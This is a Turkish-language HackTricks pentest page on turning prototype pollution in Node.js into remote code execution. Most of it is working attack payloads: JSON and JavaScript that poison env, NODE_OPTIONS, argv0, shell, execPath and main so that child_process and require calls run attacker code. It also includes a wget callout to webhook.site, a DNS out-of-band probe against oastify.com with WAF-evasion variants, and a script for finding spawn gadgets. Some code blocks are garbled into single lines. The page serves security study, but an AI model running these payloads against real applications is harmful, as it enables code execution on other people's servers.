Prototype Pollution to RCE

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Zafiyetli Kod

Gerçek bir JS'in aşağıdaki gibi bir kod kullanmasını hayal edin:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

Çevre değişkenleri aracılığıyla PP2RCE

PP2RCE, Uzaktan Kod Yürütme anlamına gelir.

Bu makaleye göre bir işlem belirli bir yöntemle child_process (örneğin fork veya spawn veya diğerleri) tarafından başlatıldığında, normalizeSpawnArguments yöntemini çağırır ve bu yöntem yeni çevre değişkenleri oluşturmak için bir prototype pollution aracıdır:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

__proto__ Zehirlenmesi

Kodunuzu kontrol edin, görebileceğiniz gibi, sadece .env özelliğini zehirleyerek envPairs'ı zehirlemek mümkündür.

Not: Node'un child_process kütüphanesinden normalizeSpawnArguments işlevinin çalışma şekli nedeniyle, bir işlem için yeni bir çevre değişkeni ayarlamak için bir şey çağrıldığında, sadece herhangi bir şeyi zehirlemeniz yeterlidir. Örneğin, __proto__.avar="valuevar" yaparsanız, işlem avar adında valuevar değerine sahip bir değişkenle başlatılacaktır.

Ancak, çevre değişkeninin ilk sırada olması için .env özelliğini zehirlemeniz ve (bazı yöntemlerde yalnızca) bu değişkenin ilk sırada olması gerekmektedir (saldırıya izin verir).

Bu nedenle, aşağıdaki saldırıda NODE_OPTIONS'ın .env içinde olmadığını görebilirsiniz.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

constructor.prototype Zehirlenmesi

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Öncekiyle benzer değişiklikler yapılarak önerilen bir benzer yük bu yazıda. Ana farklar şunlardır:

  • Nodejs payload'ını /proc/self/environ dosyasının içine değil, /proc/self/cmdline'in argv0'ına saklar.

  • Ardından, NODE_OPTIONS aracılığıyla /proc/self/environ dosyasını gerektirmek yerine, /proc/self/cmdline dosyasını gerektirir.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Etkileşimi

Aşağıdaki yükler kullanılarak önceki olarak tartıştığımız NODE_OPTIONS çevresel değişkenini kötüye kullanmak ve DNS etkileşimi ile çalışıp çalışmadığını tespit etmek mümkündür:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ya da, WAF'ların alan adını sormasını engellemek için:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process fonksiyonları

Bu bölümde, child_process'ten her fonksiyonu analiz ederek kodu yürütmek ve o fonksiyonun kodu yürütmesi için herhangi bir teknik kullanıp kullanamayacağımızı göreceğiz:

exec sömürüsü
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile sömürüsü

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

**`execFile`**'ın çalışabilmesi için **NODE\_OPTIONS'ın çalıştırılması GEREKİR**.\
Eğer **node** çalıştırılmıyorsa, ne şekilde **çalıştırıldığını değiştirebileceğinizi** ve bunları ayarlayabileceğinizi bulmanız gerekir.

Diğer teknikler, bu gereksinim olmadan çalışır çünkü **çalıştırılan şeyi** prototip kirliliği aracılığıyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletseniz bile, yürütülen şeyi kirletmezsiniz).
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

Zorla Spawn Kullanımı

Önceki örneklerde, spawn çağrısını yapan bir işlevin mevcut olması gerektiğini gördünüz (bir şeyi yürütmek için kullanılan child_process yöntemlerinin hepsi bunu çağırır). Önceki örnekte bu kodun bir parçasıydı, ancak kodun bunu çağırmadığını varsayalım.

Bir require dosya yolunu kontrol etme

Bu başka bir yazıda kullanıcı, bir require işleminin gerçekleştirileceği dosya yolunu kontrol edebilir. Bu senaryoda saldırgan sadece sistem içinde bir .js dosyası bulması ve ithal edildiğinde bir spawn yöntemi yürütecek bir dosya bulması gerekir. İçe aktarıldığında spawn işlevini çağıran yaygın dosyalardan bazıları şunlardır:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • Daha fazla dosya aşağıda

Aşağıdaki basit betik, child_process'ten çağrıları arayacaktır (herhangi bir dolgu olmadan) (işlevlerin içindeki çağrıları göstermemek için):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Prototype kirliliği aracılığıyla gereken dosya yolunu ayarlama

Önceki teknik, kullanıcının gereken dosyanın yolunu kontrol etmesini gerektirir. Ancak bu her zaman doğru değildir.

Ancak, kodun prototype kirliliğinden sonra bir gereksinim gerçekleştireceği durumlarda, gereken yolun kontrol edilmediği durumlarda bile farklı bir yol zorlayabilirsiniz. Bu nedenle, kod satırı require("./a_file.js") veya require("bytes") gibi olsa bile kirliliğe uğrattığınız paketi gerektirecektir.

Bu nedenle, prototype kirliliğinizden sonra bir gereksinim gerçekleştirilirse ve spawn işlevi yoksa, bu saldırıdır:

  • Sistem içinde bir .js dosyası bulun

  • child_process kullanarak bir şeyi yürütecek bir dosya gerektiğinde

  • Saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz

  • Gereksinimi zorlamak için yolları kirletin ve child_process ile bir şey yürütecek .js dosyasının gereksinimini zorlayın

  • Bir gereksinim yapıldıktan sonra çevre/cmdline'ı kirletin ve bir child_process yürütme işlevi çağrıldığında keyfi kod yürütün (ilk tekniklere bakınız)

Mutlak gereksinim

Yapılan gereksinim mutlak ise (require("bytes")) ve paket package.json dosyasında ana içermiyorsa, main özniteliğini kirletebilir ve farklı bir dosyanın gereksinimini yaptırabilirsiniz.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

İlgili gereksinim - 1

Eğer bir göreceli yol yerine mutlak bir yol yüklenirse, node'un farklı bir yol yüklemesini sağlayabilirsiniz:

// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".": "./malicious.js" }b.__proto__["1"] = "/tmp"// Trigger gadgetvar proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')clone(USERINPUT);var proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2recconst { fork } = require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');

İlgili require - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### Göreceli gereksinim - 3

Öncekine benzer şekilde, bu bu yazıda bulundu.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

Sanal Makine Araçları

https://arxiv.org/pdf/2207.11171.pdf adresindeki makalede, vm kütüphanesinin bazı yöntemlerinden contextExtensions'ın kontrol edilebileceği belirtilmektedir. Ancak, önceki child_process yöntemleri gibi, en son sürümlerde düzeltildi.

Düzeltmeler ve Beklenmeyen Korumalar

Lütfen dikkat edin, prototip kirliliği, erişilen bir nesnenin özniteliği tanımsız ise çalışır. Eğer kodda o öznitelik bir değer olarak ayarlanmışsa üzerine yazamazsınız.

Haziran 2022'de bu taahhüt ile options değişkeni {} yerine kEmptyObject olarak ayarlandı. Bu, options'ın özniteliklerini etkileyen bir prototip kirliliğinin RCE'ye yol açmasını engeller. En azından v18.4.0'dan itibaren bu koruma uygulanmıştır ve dolayısıyla spawn ve spawnSync yöntemlerini etkileyen saldırılar artık çalışmaz (eğer options kullanılmıyorsa!).

Bu taahhüt ile vm kütüphanesinden contextExtensions'ın prototip kirliliği de {} yerine kEmptyObject olarak ayarlanarak bir nevi düzeltildi.

Diğer Araçlar

Referanslar

Last updated